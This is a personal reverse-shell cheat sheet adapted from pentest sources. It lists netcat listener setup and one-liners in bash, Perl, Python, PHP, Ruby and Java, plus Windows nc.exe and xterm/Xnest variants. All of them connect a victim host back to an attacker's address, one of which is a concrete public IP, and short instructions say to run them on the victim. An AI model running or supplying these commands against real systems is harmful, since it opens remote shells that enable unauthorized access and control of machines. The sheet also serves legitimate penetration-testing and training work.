nc netcat reverse shell

reverse-netcat.txt

On attack host in "local" active terminal using port 10000 for example:

nc -l -t -v  8080
i.e. attacker$ nc -l -v [ATTACK_HOST_IP] 8080
        Then On "remote" victim computer - run this command
        Get this to execute on the victim host ( assuming victim does not have netcat ) 

bash -i >& /dev/tcp/[ATTACK_HOST_IP]/10000 0>&1  

        for example:
        bash -i >& /dev/tcp/54.161.245.60/10000 0>&1  

        UNTESTED variation in comments on https://bernardodamele.blogspot.com/2011/09/reverse-shells-one-liners.html 
        simple nc variant with two connections: ( untested ? )
nc localhost 1233 | /bin/sh | nc 127.0.0.1 1234
        Netcat
rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4444 0/tmp/p 2>&1
        Telnet
rm -f /tmp/p; mknod /tmp/p p && telnet attackerip 4444 0/tmp/p 2>&1

/bin/bash -i >& /dev/tcp/attackerip/4444 0>&1 

        Or for M$ windows:

nc.exe 192.168.100.113 10000 –e cmd.exe

        As soon as that command is executed, you will have a remote shell on the "local" terminal window.

Note: This will be CLEAR TEXT!! 


adopted and updated from 
https://www.hackingtutorials.org/networking/hacking-netcat-part-2-bind-reverse-shells/

Other resources:
https://bernardodamele.blogspot.com/2011/09/reverse-shells-one-liners.html
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet 
https://www.gnucitizen.org/blog/reverse-shell-with-bash/
http://pentestmonkey.net/tools/web-shells/perl-reverse-shell 
        
        Bash adapted by pentestmonkey from  https://www.gnucitizen.org/blog/reverse-shell-with-bash/
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

        small no-feature version of http://pentestmonkey.net/tools/web-shells/perl-reverse-shell 
        
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

        Python 
        
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

        PHP
        try fd 4,5,6 if fd 3 is the TCP connection is NOT using file descriptor 3.
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

        Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'


        NC Netcat ( i.e. AWS Linux 2 )
nc -e /bin/sh 10.0.0.1 1234
        or try this next one from Jeff Price
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
i.e.
mkfifo mypipe ; cat mypipe|/bin/bash|nc -l -p 6000 >mypipe

        Java untested
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

        xterm
xterm -bg black -fg white -display 10.0.0.1:1
        To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001).  
        One way to do this is with Xnest (to be run on your system):
Xnest :1
        You’ll need to authorise the target to connect to you (command also run on your host):
xhost +targetip